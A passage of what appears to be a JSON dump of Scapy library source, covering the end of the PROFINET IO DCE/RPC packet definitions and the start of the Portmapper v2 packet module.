IODWriteRes),\n                       length_from=lambda pkt: pkt.recordDataLength)\n    ]\n    # default values\n    block_type = 0x8008\n    index = 0xe040\n\n    def post_build(self, p, pay):\n        # patch the update of block_length, as requests field must not be\n        # included. block_length is always 60\n        if self.block_length is None:\n            p = p[:2] + struct.pack(\"!H\", 60) + p[4:]\n\n        return Packet.post_build(self, p, pay)\n\n\n#     I&M0\nclass IM0Block(Block):\n    \"\"\"Identification and Maintenance 0\"\"\"\n    fields_desc = [\n        BlockHeader,\n        ByteField(\"VendorIDHigh\", 0x00),\n        ByteField(\"VendorIDLow\", 0x00),\n        StrFixedLenField(\"OrderID\", \"\", length=20),\n        StrFixedLenField(\"IMSerialNumber\", \"\", length=16),\n        ShortField(\"IMHardwareRevision\", 0),\n        StrFixedLenField(\"IMSWRevisionPrefix\", \"V\", length=1),\n        ByteField(\"IMSWRevisionFunctionalEnhancement\", 0),\n        ByteField(\"IMSWRevisionBugFix\", 0),\n        ByteField(\"IMSWRevisionInternalChange\", 0),\n        ShortField(\"IMRevisionCounter\", 0),\n        ShortField(\"IMProfileID\", 0),\n        ShortField(\"IMProfileSpecificType\", 0),\n        ByteField(\"IMVersionMajor\", 1),\n        ByteField(\"IMVersionMinor\", 1),\n        ShortField(\"IMSupported\", 0x0),\n    ]\n\n    block_type = 0x0020\n\n\n#     I&M1\nclass IM1Block(Block):\n    \"\"\"Identification and Maintenance 1\"\"\"\n    fields_desc = [\n        BlockHeader,\n        StrFixedLenField(\"IMTagFunction\", \"\", length=32),\n        StrFixedLenField(\"IMTagLocation\", \"\", length=22),\n    ]\n\n    block_type = 0x0021\n\n\n#     I&M2\nclass IM2Block(Block):\n    \"\"\"Identification and Maintenance 2\"\"\"\n    fields_desc = [\n        BlockHeader,\n        StrFixedLenField(\"IMDate\", \"\", length=16),\n    ]\n\n    block_type = 0x0022\n\n\n#     I&M3\nclass IM3Block(Block):\n    \"\"\"Identification and Maintenance 3\"\"\"\n    fields_desc = [\n        BlockHeader,\n        StrFixedLenField(\"IMDescriptor\", \"\", length=54),\n    ]\n\n    block_type = 0x0023\n\n\n#     I&M4\nclass IM4Block(Block):\n    \"\"\"Identification and Maintenance 4\"\"\"\n    fields_desc = [\n        BlockHeader,\n        StrFixedLenField(\"IMSignature\", \"\", 54)\n    ]\n\n    block_type = 0x0024\n\n\n#     ARBlockRe{q,s}\nclass ARBlockReq(Block):\n    \"\"\"Application relationship block request\"\"\"\n    fields_desc = [\n        BlockHeader,\n        XShortEnumField(\"ARType\", 1, AR_TYPE),\n        UUIDField(\"ARUUID\", None),\n        ShortField(\"SessionKey\", 0),\n        MACField(\"CMInitiatorMacAdd\", None),\n        UUIDField(\"CMInitiatorObjectUUID\", None),\n        # ARProperties\n        BitField(\"ARProperties_PullModuleAlarmAllowed\", 0, 1),\n        BitEnumField(\"ARProperties_StartupMode\", 0, 1,\n                     [\"Legacy\", \"Advanced\"]),\n        BitField(\"ARProperties_reserved_3\", 0, 6),\n        BitField(\"ARProperties_reserved_2\", 0, 12),\n        BitField(\"ARProperties_AcknowledgeCompanionAR\", 0, 1),\n        BitEnumField(\"ARProperties_CompanionAR\", 0, 2,\n                     [\"Single_AR\", \"First_AR\", \"Companion_AR\", \"reserved\"]),\n        BitEnumField(\"ARProperties_DeviceAccess\", 0, 1,\n                     [\"ExpectedSubmodule\", \"Controlled_by_IO_device_app\"]),\n        BitField(\"ARProperties_reserved_1\", 0, 3),\n        BitEnumField(\"ARProperties_ParametrizationServer\", 0, 1,\n                     [\"External_PrmServer\", \"CM_Initator\"]),\n        BitField(\"ARProperties_SupervisorTakeoverAllowed\", 0, 1),\n        BitEnumField(\"ARProperties_State\", 1, 3, {1: \"Active\"}),\n        ShortField(\"CMInitiatorActivityTimeoutFactor\", 1000),\n        ShortField(\"CMInitiatorUDPRTPort\", 0x8892),\n        FieldLenField(\"StationNameLength\", None, fmt=\"H\",\n                      length_of=\"CMInitiatorStationName\"),\n        StrLenField(\"CMInitiatorStationName\", \"\",\n                    length_from=lambda pkt: pkt.StationNameLength),\n    ]\n    # default block_type value\n    block_type = 0x0101\n\n    def get_response(self):\n        \"\"\"Generate the response block of this request.\n        Careful: it only sets the fields which can be set from the request\n        \"\"\"\n        res = ARBlockRes()\n        for field in [\"ARType\", \"ARUUID\", \"SessionKey\"]:\n            res.setfieldval(field, self.getfieldval(field))\n        return res\n\n\nclass ARBlockRes(Block):\n    \"\"\"Application relationship block response\"\"\"\n    fields_desc = [\n        BlockHeader,\n        XShortEnumField(\"ARType\", 1, AR_TYPE),\n        UUIDField(\"ARUUID\", None),\n        ShortField(\"SessionKey\", 0),\n        MACField(\"CMResponderMacAdd\", None),\n        ShortField(\"CMResponderUDPRTPort\", 0x8892),\n    ]\n    # default block_type value\n    block_type = 0x8101\n\n\n#     IOCRBlockRe{q,s}\nclass IOCRAPIObject(Packet):\n    \"\"\"API item descriptor used in API description of IOCR blocks\"\"\"\n    name = \"API item\"\n    fields_desc = [\n        XShortField(\"SlotNumber\", 0),\n        XShortField(\"SubslotNumber\", 0),\n        ShortField(\"FrameOffset\", 0),\n    ]\n\n    def extract_padding(self, s):\n        return None, s  # No extra payload\n\n\nclass IOCRAPI(Packet):\n    \"\"\"API description used in IOCR block\"\"\"\n    name = \"API\"\n    fields_desc = [\n        XIntField(\"API\", 0),\n        FieldLenField(\"NumberOfIODataObjects\", None,\n                      count_of=\"IODataObjects\"),\n        PacketListField(\"IODataObjects\", [], IOCRAPIObject,\n                        count_from=lambda p: p.NumberOfIODataObjects),\n        FieldLenField(\"NumberOfIOCS\", None,\n                      count_of=\"IOCSs\"),\n        PacketListField(\"IOCSs\", [], IOCRAPIObject,\n                        count_from=lambda p: p.NumberOfIOCS),\n    ]\n\n    def extract_padding(self, s):\n        return None, s  # No extra payload\n\n\nclass IOCRBlockReq(Block):\n    \"\"\"IO Connection Relationship block request\"\"\"\n    fields_desc = [\n        BlockHeader,\n        XShortEnumField(\"IOCRType\", 1, IOCR_TYPE),\n        XShortField(\"IOCRReference\", 1),\n        XShortField(\"LT\", 0x8892),\n        # IOCRProperties\n        BitField(\"IOCRProperties_reserved3\", 0, 8),\n        BitField(\"IOCRProperties_reserved2\", 0, 11),\n        BitField(\"IOCRProperties_reserved1\", 0, 9),\n        BitEnumField(\"IOCRProperties_RTClass\", 0, 4,\n                     IOCR_BLOCK_REQ_IOCR_PROPERTIES),\n        ShortField(\"DataLength\", 40),\n        XShortField(\"FrameID\", 0x8000),\n        ShortField(\"SendClockFactor\", 32),\n        ShortField(\"ReductionRatio\", 32),\n        ShortField(\"Phase\", 1),\n        ShortField(\"Sequence\", 0),\n        XIntField(\"FrameSendOffset\", 0xffffffff),\n        ShortField(\"WatchdogFactor\", 10),\n        ShortField(\"DataHoldFactor\", 10),\n        # IOCRTagHeader\n        BitEnumField(\"IOCRTagHeader_IOUserPriority\", 6, 3,\n                     {6: \"IOCRPriority\"}),\n        BitField(\"IOCRTagHeader_reserved\", 0, 1),\n        BitField(\"IOCRTagHeader_IOCRVLANID\", 0, 12),\n        MACField(\"IOCRMulticastMACAdd\", None),\n        FieldLenField(\"NumberOfAPIs\", None, fmt=\"H\", count_of=\"APIs\"),\n        PacketListField(\"APIs\", [], IOCRAPI,\n                        count_from=lambda p: p.NumberOfAPIs)\n    ]\n    # default block_type value\n    block_type = 0x0102\n\n    def get_response(self):\n        \"\"\"Generate the response block of this request.\n        Careful: it only sets the fields which can be set from the request\n        \"\"\"\n        res = IOCRBlockRes()\n        for field in [\"IOCRType\", \"IOCRReference\", \"FrameID\"]:\n            res.setfieldval(field, self.getfieldval(field))\n        return res\n\n\nclass IOCRBlockRes(Block):\n    \"\"\"IO Connection Relationship block response\"\"\"\n    fields_desc = [\n        BlockHeader,\n        XShortEnumField(\"IOCRType\", 1, IOCR_TYPE),\n        XShortField(\"IOCRReference\", 1),\n        XShortField(\"FrameID\", 0x8000),\n    ]\n    # default block_type value\n    block_type = 0x8102\n\n\nclass AdjustLinkState(Block):\n    fields_desc = [\n        BlockHeader,\n        StrFixedLenField(\"padding\", \"\", length=2),\n        XShortEnumField(\"LinkState\", 0, LINKSTATE_LINK),\n        ShortField(\"AdjustProperties\", 0)\n    ]\n\n    block_type = 0x021B\n\n\nclass AdjustPeerToPeerBoundary(Block):\n    fields_desc = [\n        BlockHeader,\n        StrFixedLenField(\"padding1\", \"\", length=2),\n        IntField(\"peerToPeerBoundary\", 0),\n        ShortField(\"adjustProperties\", 0),\n        PadField(ShortField(\"padding2\", 0), 2),\n    ]\n\n    block_type = 0x0224\n\n\nclass AdjustDomainBoundary(Block):\n    fields_desc = [\n        BlockHeader,\n        StrFixedLenField(\"padding1\", \"\", length=2),\n        IntEnumField(\"DomainBoundaryIngress\", 0, {\n            0x00: \"No Block\",\n            0x01: \"Block\",\n        }),\n        IntEnumField(\"DomainBoundaryEgress\", 0, {\n            0x00: \"No Block\",\n            0x01: \"Block\",\n        }),\n        ShortField(\"adjustProperties\", 0),\n        PadField(ShortField(\"padding2\", 0), 2)\n    ]\n\n    block_type = 0x0209\n\n\nclass AdjustMulticastBoundary(Block):\n    fields_desc = [\n        BlockHeader,\n        StrFixedLenField(\"padding1\", \"\", length=2),\n        IntField(\"MulticastAddress\", 0),\n        ShortField(\"adjustProperties\", 0),\n        PadField(ShortField(\"padding2\", 0), 2)\n    ]\n\n    block_type = 0x0210\n\n\nclass AdjustMauType(Block):\n    fields_desc = [\n        BlockHeader,\n        PadField(ShortField(\"padding\", 0), 2),\n        XShortEnumField(\"MAUType\", 1, MAU_TYPE),\n        ShortField(\"adjustProperties\", 0),\n    ]\n\n    block_type = 0x020E\n\n\nclass AdjustMauTypeExtension(Block):\n    fields_desc = [\n        BlockHeader,\n        PadField(ShortField(\"padding\", 0), 2),\n        XShortEnumField(\"MAUTypeExtension\", 0, MAU_EXTENSION),\n        ShortField(\"adjustProperties\", 0),\n    ]\n\n    block_type = 0x0229\n\n\nclass AdjustDCPBoundary(Block):\n    fields_desc = [\n        BlockHeader,\n        StrFixedLenField(\"padding1\", \"\", length=2),\n        IntField(\"dcpBoundary\", 0),\n        ShortField(\"adjustProperties\", 0),\n        PadField(ShortField(\"padding2\", 0), 2),\n    ]\n\n    block_type = 0x0225\n\n\nPDPORT_ADJUST_BLOCK_ASSOCIATION = {\n    0x0209: AdjustDomainBoundary,\n    0x020e: AdjustMauType,\n    0x0210: AdjustMulticastBoundary,\n    0x021b: AdjustLinkState,\n    0x0224: AdjustPeerToPeerBoundary,\n    0x0225: AdjustDCPBoundary,\n    0x0229: AdjustMauTypeExtension,\n}\n\n\ndef _guess_pdportadjust_block(_pkt, *args, **kargs):\n    cls = Block\n\n    btype = struct.unpack(\"!H\", _pkt[:2])[0]\n    if btype in PDPORT_ADJUST_BLOCK_ASSOCIATION:\n        cls = PDPORT_ADJUST_BLOCK_ASSOCIATION[btype]\n\n    return cls(_pkt, *args, **kargs)\n\n\nclass PDPortDataAdjust(Block):\n    fields_desc = [\n        BlockHeader,\n        StrFixedLenField(\"padding\", \"\", length=2),\n        XShortField(\"slotNumber\", 0),\n        XShortField(\"subslotNumber\", 0),\n        PacketListField(\"blocks\", [], _guess_pdportadjust_block,\n                        length_from=lambda p: p.block_length)\n    ]\n\n    block_type = 0x0202\n\n\n#     ExpectedSubmoduleBlockReq\nclass ExpectedSubmoduleDataDescription(Packet):\n    \"\"\"Description of the data of a submodule\"\"\"\n    name = \"Data Description\"\n    fields_desc = [\n        XShortEnumField(\"DataDescription\", 0, {1: \"Input\", 2: \"Output\"}),\n        ShortField(\"SubmoduleDataLength\", 0),\n        ByteField(\"LengthIOCS\", 0),\n        ByteField(\"LengthIOPS\", 0),\n    ]\n\n    def extract_padding(self, s):\n        return None, s  # No extra payload\n\n\nclass ExpectedSubmodule(Packet):\n    \"\"\"Description of a submodule in an API of an expected submodule\"\"\"\n    name = \"Submodule\"\n    fields_desc = [\n        XShortField(\"SubslotNumber\", 0),\n        XIntField(\"SubmoduleIdentNumber\", 0),\n        # Submodule Properties\n        XByteField(\"SubmoduleProperties_reserved_2\", 0),\n        BitField(\"SubmoduleProperties_reserved_1\", 0, 2),\n        BitField(\"SubmoduleProperties_DiscardIOXS\", 0, 1),\n        BitField(\"SubmoduleProperties_ReduceOutputSubmoduleDataLength\", 0, 1),\n        BitField(\"SubmoduleProperties_ReduceInputSubmoduleDataLength\", 0, 1),\n        BitField(\"SubmoduleProperties_SharedInput\", 0, 1),\n        BitEnumField(\"SubmoduleProperties_Type\", 0, 2,\n                     [\"NO_IO\", \"INPUT\", \"OUTPUT\", \"INPUT_OUTPUT\"]),\n        PacketListField(\n            \"DataDescription\", [], ExpectedSubmoduleDataDescription,\n            count_from=lambda p: 2 if p.SubmoduleProperties_Type == 3 else 1\n        ),\n    ]\n\n    def extract_padding(self, s):\n        return None, s  # No extra payload\n\n\nclass ExpectedSubmoduleAPI(Packet):\n    \"\"\"Description of an API in the expected submodules blocks\"\"\"\n    name = \"API\"\n    fields_desc = [\n        XIntField(\"API\", 0),\n        XShortField(\"SlotNumber\", 0),\n        XIntField(\"ModuleIdentNumber\", 0),\n        XShortField(\"ModuleProperties\", 0),\n        FieldLenField(\"NumberOfSubmodules\", None, fmt=\"H\",\n                      count_of=\"Submodules\"),\n        PacketListField(\"Submodules\", [], ExpectedSubmodule,\n                        count_from=lambda p: p.NumberOfSubmodules),\n    ]\n\n    def extract_padding(self, s):\n        return None, s  # No extra payload\n\n\nclass ExpectedSubmoduleBlockReq(Block):\n    \"\"\"Expected submodule block request\"\"\"\n    fields_desc = [\n        BlockHeader,\n        FieldLenField(\"NumberOfAPIs\", None, fmt=\"H\", count_of=\"APIs\"),\n        PacketListField(\"APIs\", [], ExpectedSubmoduleAPI,\n                        count_from=lambda p: p.NumberOfAPIs)\n    ]\n    # default block_type value\n    block_type = 0x0104\n\n    def get_response(self):\n        \"\"\"Generate the response block of this request.\n        Careful: it only sets the fields which can be set from the request\n        \"\"\"\n        return None  # no response associated (should be modulediffblock)\n\n\nALARM_CR_TYPE = {\n    0x0001: \"AlarmCR\",\n}\n\nALARM_CR_TRANSPORT = {\n    0x0: \"RTA_CLASS_1\",\n    0x1: \"RTA_CLASS_UDP\"\n}\n\n\nclass AlarmCRBlockReq(Block):\n    \"\"\"Alarm CR block request\"\"\"\n    fields_desc = [\n        BlockHeader,\n        XShortEnumField(\"AlarmCRType\", 1, ALARM_CR_TYPE),\n        ShortField(\"LT\", 0x8892),\n        BitField(\"AlarmCRProperties_Priority\", 0, 1),\n        BitEnumField(\"AlarmCRProperties_Transport\", 0, 1, ALARM_CR_TRANSPORT),\n        BitField(\"AlarmCRProperties_Reserved1\", 0, 22),\n        BitField(\"AlarmCRProperties_Reserved2\", 0, 8),\n        ShortField(\"RTATimeoutFactor\", 0x0001),\n        ShortField(\"RTARetries\", 0x0003),\n        ShortField(\"LocalAlarmReference\", 0x0003),\n        ShortField(\"MaxAlarmDataLength\", 0x00C8),\n        ShortField(\"AlarmCRTagHeaderHigh\", 0xC000),\n        ShortField(\"AlarmCRTagHeaderLow\", 0xA000),\n    ]\n    # default block_type value\n    block_type = 0x0103\n\n    def post_build(self, p, pay):\n        # Set the LT based on transport\n        if self.AlarmCRProperties_Transport == 0x1:\n            p = p[:8] + struct.pack(\"!H\", 0x0800) + p[10:]\n\n        return Block.post_build(self, p, pay)\n\n    def get_response(self):\n        \"\"\"Generate the response block of this request.\n        Careful: it only sets the fields which can be set from the request\n        \"\"\"\n        res = AlarmCRBlockRes()\n        for field in [\"AlarmCRType\", \"LocalAlarmReference\"]:\n            res.setfieldval(field, self.getfieldval(field))\n\n        res.block_type = self.block_type + 0x8000\n        return res\n\n\nclass AlarmCRBlockRes(Block):\n    fields_desc = [\n        BlockHeader,\n        XShortEnumField(\"AlarmCRType\", 1, ALARM_CR_TYPE),\n        ShortField(\"LocalAlarmReference\", 0),\n        ShortField(\"MaxAlarmDataLength\", 0)\n    ]\n    # default block_type value\n    block_type = 0x8103\n\n\nclass AlarmItem(Packet):\n    fields_desc = [\n        XShortField(\"UserStructureIdentifier\", 0),\n        PacketField(\"load\", \"\", Raw),\n    ]\n\n    def extract_padding(self, s):\n        return None, s  # No extra payload\n\n\nclass MaintenanceItem(AlarmItem):\n    fields_desc = [\n        XShortField(\"UserStructureIdentifier\", 0),\n        BlockHeader,\n        StrFixedLenField(\"padding\", \"\", length=2),\n        XIntField(\"MaintenanceStatus\", 0),\n    ]\n\n\nclass DiagnosisItem(AlarmItem):\n    fields_desc = [\n        XShortField(\"UserStructureIdentifier\", 0),\n        XShortField(\"ChannelNumber\", 0),\n        XShortField(\"ChannelProperties\", 0),\n        XShortField(\"ChannelErrorType\", 0),\n        ConditionalField(\n            cond=lambda p: p.getfieldval(\"UserStructureIdentifier\") in [\n                0x8002, 0x8003],\n            fld=XShortField(\"ExtChannelErrorType\", 0)),\n        ConditionalField(\n            cond=lambda p: p.getfieldval(\"UserStructureIdentifier\") in [\n                0x8002, 0x8003],\n            fld=XIntField(\"ExtChannelAddValue\", 0)),\n        ConditionalField(\n            cond=lambda p: p.getfieldval(\"UserStructureIdentifier\") == 0x8003,\n            fld=XIntField(\"QualifiedChannelQualifier\", 0)),\n    ]\n\n\nclass UploadRetrievalItem(AlarmItem):\n    fields_desc = [\n        XShortField(\"UserStructureIdentifier\", 0),\n        BlockHeader,\n        StrFixedLenField(\"padding\", \"\", length=2),\n        XIntField(\"URRecordIndex\", 0),\n        XIntField(\"URRecordLength\", 0),\n    ]\n\n\nclass iParameterItem(AlarmItem):\n    fields_desc = [\n        XShortField(\"UserStructureIdentifier\", 0),\n        BlockHeader,\n        StrFixedLenField(\"padding\", \"\", length=2),\n        XIntField(\"iPar_Req_Header\", 0),\n        XIntField(\"Max_Segm_Size\", 0),\n        XIntField(\"Transfer_Index\", 0),\n        XIntField(\"Total_iPar_Size\", 0),\n    ]\n\n\nPE_OPERATIONAL_MODE = {\n    0x00: \"PE_PowerOff\",\n    0xF0: \"PE_Operate\",\n    0xFE: \"PE_SleepModeWOL\",\n    0xFF: \"PE_ReadyToOperate\",\n}\nPE_OPERATIONAL_MODE.update({i: \"PE_EnergySavingMode_{}\".format(i)\n                            for i in range(0x1, 0x20)})\nPE_OPERATIONAL_MODE.update({i: \"Reserved\" for i in range(0x20, 0xF0)})\nPE_OPERATIONAL_MODE.update({i: \"Reserved\" for i in range(0xF1, 0xFE)})\n\n\nclass PE_AlarmItem(AlarmItem):\n    fields_desc = [\n        XShortField(\"UserStructureIdentifier\", 0),\n        BlockHeader,\n        ByteEnumField(\"PE_OperationalMode\", 0, PE_OPERATIONAL_MODE),\n    ]\n\n\nclass RS_AlarmItem(AlarmItem):\n    fields_desc = [\n        XShortField(\"UserStructureIdentifier\", 0),\n        XShortField(\"RS_AlarmInfo\", 0),\n    ]\n\n\nclass PRAL_AlarmItem(AlarmItem):\n    fields_desc = [\n        XShortField(\"UserStructureIdentifier\", 0),\n        XShortField(\"ChannelNumber\", 0),\n        XShortField(\"PRAL_ChannelProperties\", 0),\n        XShortField(\"PRAL_Reason\", 0),\n        XShortField(\"PRAL_ExtReason\", 0),\n        StrLenField(\"PRAL_ReasonAddValue\", \"\",\n                    length_from=lambda x:x.len - 10),\n    ]\n\n\nPNIO_RPC_ALARM_ASSOCIATION = {\n    \"8000\": DiagnosisItem,\n    \"8002\": DiagnosisItem,\n    \"8003\": DiagnosisItem,\n    \"8100\": MaintenanceItem,\n    \"8200\": UploadRetrievalItem,\n    \"8201\": iParameterItem,\n    \"8300\": RS_AlarmItem,\n    \"8301\": RS_AlarmItem,\n    \"8302\": RS_AlarmItem,\n    # \"8303\": RS_AlarmItem,\n    \"8310\": PE_AlarmItem,\n    \"8320\": PRAL_AlarmItem,\n}\n\n\ndef _guess_alarm_payload(_pkt, *args, **kargs):\n    cls = AlarmItem\n\n    btype = bytes_hex(_pkt[:2]).decode(\"utf8\")\n    if btype in PNIO_RPC_ALARM_ASSOCIATION:\n        cls = PNIO_RPC_ALARM_ASSOCIATION[btype]\n\n    return cls(_pkt, *args, **kargs)\n\n\nclass AlarmNotificationPDU(Block):\n    fields_desc = [\n        # IEC-61158-6-10:2021, Table 513\n        BlockHeader,\n        ShortField(\"AlarmType\", 0),\n        XIntField(\"API\", 0),\n        ShortField(\"SlotNumber\", 0),\n        ShortField(\"SubslotNumber\", 0),\n        XIntField(\"ModuleIdentNumber\", 0),\n        XIntField(\"SubmoduleIdentNUmber\", 0),\n        XShortField(\"AlarmSpecifier\", 0),\n        PacketListField(\"AlarmPayload\", [], _guess_alarm_payload)\n    ]\n\n\nclass AlarmNotification_High(AlarmNotificationPDU):\n    block_type = 0x0001\n\n\nclass AlarmNotification_Low(AlarmNotificationPDU):\n    block_type = 0x0002\n\n\nPDU_TYPE_TYPE = {\n    0x01: \"RTA_TYPE_DATA\",\n    0x02: \"RTA_TYPE_NACK\",\n    0x03: \"RTA_TYPE_ACK\",\n    0x04: \"RTA_TYPE_ERR\",\n    0x05: \"RTA_TYPE_FREQ\",\n    0x06: \"RTA_TYPE_FRSP\",\n}\nPDU_TYPE_TYPE.update({i: \"Reserved\" for i in range(0x07, 0x10)})\n\n\nPDU_TYPE_VERSION = {\n    0x00: \"Reserved\",\n    0x01: \"Version 1\",\n    0x02: \"Version 2\",\n}\nPDU_TYPE_VERSION.update({i: \"Reserved\" for i in range(0x03, 0x10)})\n\n\nclass PNIORealTimeAcyclicPDUHeader(Packet):\n    fields_desc = [\n        # IEC-61158-6-10:2021, Table 241\n        ShortField(\"AlarmDstEndpoint\", 0),\n        ShortField(\"AlarmSrcEndpoint\", 0),\n        BitEnumField(\"PDUTypeType\", 0, 4, PDU_TYPE_TYPE),\n        BitEnumField(\"PDUTypeVersion\", 0, 4, PDU_TYPE_VERSION),\n        BitField(\"AddFlags\", 0, 8),\n        XShortField(\"SendSeqNum\", 0),\n        XShortField(\"AckSeqNum\", 0),\n        XShortField(\"VarPartLen\", 0),\n    ]\n\n    def __new__(cls, name, bases, dct):\n        raise NotImplementedError()\n\n\nclass Alarm_Low(Packet):\n    fields_desc = [\n        PNIORealTimeAcyclicPDUHeader,\n        PacketField(\"RTA_SDU\", None, AlarmNotification_Low),\n    ]\n\n\nclass Alarm_High(Packet):\n    fields_desc = [\n        PNIORealTimeAcyclicPDUHeader,\n        PacketField(\"RTA_SDU\", None, AlarmNotification_High),\n    ]\n\n\n# PROFINET IO DCE/RPC PDU\nPNIO_RPC_BLOCK_ASSOCIATION = {\n    # I&M Records\n    \"0020\": IM0Block,\n    \"0021\": IM1Block,\n    \"0022\": IM2Block,\n    \"0023\": IM3Block,\n    \"0024\": IM4Block,\n\n    # requests\n    \"0101\": ARBlockReq,\n    \"0102\": IOCRBlockReq,\n    \"0103\": AlarmCRBlockReq,\n    \"0104\": ExpectedSubmoduleBlockReq,\n    \"0110\": IODControlReq,\n    \"0111\": IODControlReq,\n    \"0112\": IODControlReq,\n    \"0113\": IODControlReq,\n    \"0114\": IODControlReq,\n    \"0116\": IODControlReq,\n    \"0117\": IODControlReq,\n    \"0118\": IODControlReq,\n    \"0202\": PDPortDataAdjust,\n\n    # responses\n    \"8101\": ARBlockRes,\n    \"8102\": IOCRBlockRes,\n    \"8103\": AlarmCRBlockRes,\n    \"8110\": IODControlRes,\n    \"8111\": IODControlRes,\n    \"8112\": IODControlRes,\n    \"8113\": IODControlRes,\n    \"8114\": IODControlRes,\n    \"8116\": IODControlRes,\n    \"8117\": IODControlRes,\n    \"8118\": IODControlRes,\n}\n\n\ndef _guess_block_class(_pkt, *args, **kargs):\n    cls = Block  # Default block type\n\n    # Special cases\n    if _pkt[:2] == b'\\x00\\x08':  # IODWriteReq\n        if _pkt[34:36] == b'\\xe0@':  # IODWriteMultipleReq\n            cls = IODWriteMultipleReq\n        else:\n            cls = IODWriteReq\n\n    elif _pkt[:2] == b'\\x00\\x09':  # IODReadReq\n        cls = IODReadReq\n\n    elif _pkt[:2] == b'\\x80\\x08':    # IODWriteRes\n        if _pkt[34:36] == b'\\xe0@':  # IODWriteMultipleRes\n            cls = IODWriteMultipleRes\n        else:\n            cls = IODWriteRes\n\n    elif _pkt[:2] == b'\\x80\\x09':  # IODReadRes\n        cls = IODReadRes\n\n    # Common cases\n    else:\n        btype = bytes_hex(_pkt[:2]).decode(\"utf8\")\n        if btype in PNIO_RPC_BLOCK_ASSOCIATION:\n            cls = PNIO_RPC_BLOCK_ASSOCIATION[btype]\n\n    return cls(_pkt, *args, **kargs)\n\n\ndef dce_rpc_endianness(pkt):\n    \"\"\"determine the symbol for the endianness of a the DCE/RPC\"\"\"\n    try:\n        endianness = pkt.underlayer.endian\n    except AttributeError:\n        # handle the case where a PNIO class is\n        # built without its DCE-RPC under-layer\n        # i.e there is no endianness indication\n        return \"!\"\n    if endianness == 0:  # big endian\n        return \">\"\n    elif endianness == 1:  # little endian\n        return \"<\"\n    else:\n        return \"!\"\n\n\nclass NDRData(Packet):\n    \"\"\"Base NDRData to centralize some fields. It can't be instantiated\"\"\"\n    fields_desc = [\n        EField(\n            FieldLenField(\"args_length\", None, fmt=\"I\", length_of=\"blocks\"),\n            endianness_from=dce_rpc_endianness),\n        EField(\n            FieldLenField(\"max_count\", None, fmt=\"I\", length_of=\"blocks\"),\n            endianness_from=dce_rpc_endianness),\n        EField(\n            IntField(\"offset\", 0),\n            endianness_from=dce_rpc_endianness),\n        EField(\n            FieldLenField(\"actual_count\", None, fmt=\"I\", length_of=\"blocks\"),\n            endianness_from=dce_rpc_endianness),\n        PacketListField(\"blocks\", [], _guess_block_class,\n                        length_from=lambda p: p.args_length)\n    ]\n\n    def __new__(cls, name, bases, dct):\n        raise NotImplementedError()\n\n\nclass PNIOServiceReqPDU(Packet):\n    \"\"\"PNIO PDU for RPC Request\"\"\"\n    fields_desc = [\n        EField(\n            FieldLenField(\"args_max\", None, fmt=\"I\", length_of=\"blocks\"),\n            endianness_from=dce_rpc_endianness),\n        NDRData,\n    ]\n    overload_fields = {\n        DceRpc4: {\n            # random object in the appropriate range\n            \"object\": RandUUID(\"dea00000-6c97-11d1-8271-******\"),\n            # interface uuid to send to a device\n            \"if_id\": RPC_INTERFACE_UUID[\"UUID_IO_DeviceInterface\"],\n            # Request DCE/RPC type\n            \"ptype\": 0,\n        },\n    }\n\n    @classmethod\n    def can_handle(cls, pkt, rpc):\n        \"\"\"heuristic guess_payload_class\"\"\"\n        # type = 0 => request\n        if rpc.ptype == 0 and \\\n                str(rpc.object).startswith(\"dea00000-6c97-11d1-8271-\"):\n            return True\n        return False\n\n\nDceRpc4Payload.register_possible_payload(PNIOServiceReqPDU)\n\n\nclass PNIOServiceResPDU(Packet):\n    \"\"\"PNIO PDU for RPC Response\"\"\"\n    fields_desc = [\n        EField(IntEnumField(\"status\", 0, [\"OK\"]),\n               endianness_from=dce_rpc_endianness),\n        NDRData,\n    ]\n    overload_fields = {\n        DceRpc4: {\n            # random object in the appropriate range\n            \"object\": RandUUID(\"dea00000-6c97-11d1-8271-******\"),\n            # interface uuid to send to a host\n            \"if_id\": RPC_INTERFACE_UUID[\n                \"UUID_IO_ControllerInterface\"],\n            # Request DCE/RPC type\n            \"ptype\": 2,\n        },\n    }\n\n    @classmethod\n    def can_handle(cls, pkt, rpc):\n        \"\"\"heuristic guess_payload_class\"\"\"\n        # type = 2 => response\n        if rpc.ptype == 2 and \\\n                str(rpc.object).startswith(\"dea00000-6c97-11d1-8271-\"):\n            return True\n        return False\n\n\nDceRpc4Payload.register_possible_payload(PNIOServiceResPDU)\n"
  },
  {
    "path": "scapy/contrib/portmap.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Lucas Preston <lucas.preston@infinite.io>\n\n# scapy.contrib.description = Portmapper v2\n# scapy.contrib.status = loads\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import IntField, PacketListField\nfrom scapy.contrib.oncrpc import RPC, RPC_Call\n\n\nclass GETPORT_Call(Packet):\n    name = 'GETPORT Call'\n    fields_desc = [\n        IntField('prog', 0),\n        IntField('vers', 0),\n        IntField('prot', 0),\n        IntField('port', 0)\n    ]\n\n\nclass GETPORT_Reply(Packet):\n    name = 'GETPORT Reply'\n    fields_desc = [\n        IntField('port', 0)\n    ]\n\n\nbind_layers(RPC, GETPORT_Call, mtype=0)\nbind_layers(RPC, GETPORT_Reply, mtype=1)\nbind_layers(\n    RPC_Call, GETPORT_Call, program=100000, pversion=2, procedure=3\n)\n\n\nclass NULL_Call(Packet):\n    name = 'PORTMAP NULL Call'\n    fields_desc = []\n\n\nclass NULL_Reply(Packet):\n    name = 'PORTMAP NULL Reply'\n    fields_desc = []\n\n\nbind_layers(RPC, NULL_Call, mtype=0)\nbind_layers(RPC, NULL_Reply, mtype=1)\nbind_layers(RPC_Call, NULL_Call, program=100000, pversion=2, procedure=0)\n\n\nclass Map_Entry(Packet):\n    name = 'PORTMAP Map Entry'\n    fields_desc = [\n        IntField('prog', 0),\n        IntField('vers', 0),\n        IntField('prot', 0),\n        IntField('port', 0),\n        IntField('value_follows', 0)\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass DUMP_Call(Packet):\n    name = 'PORTMAP DUMP Call'\n    fields_desc = []\n\n\nclass DUMP_Reply(Packet):\n    name = 'PORTMAP DUMP Reply'\n    fields_desc = [\n        IntField('value_follows', 0),\n        PacketListField('mappings', [], Map_Entry,\n                        next_cls_cb=lambda pkt, lst, cur, remain:\n                        Map_Entry if pkt.value_follows == 1 and\n                        (len(lst) == 0 or cur.value_follows == 1) and\n                        len(remain) > 4 else None)\n    ]\n\n\nbind_layers(RPC, 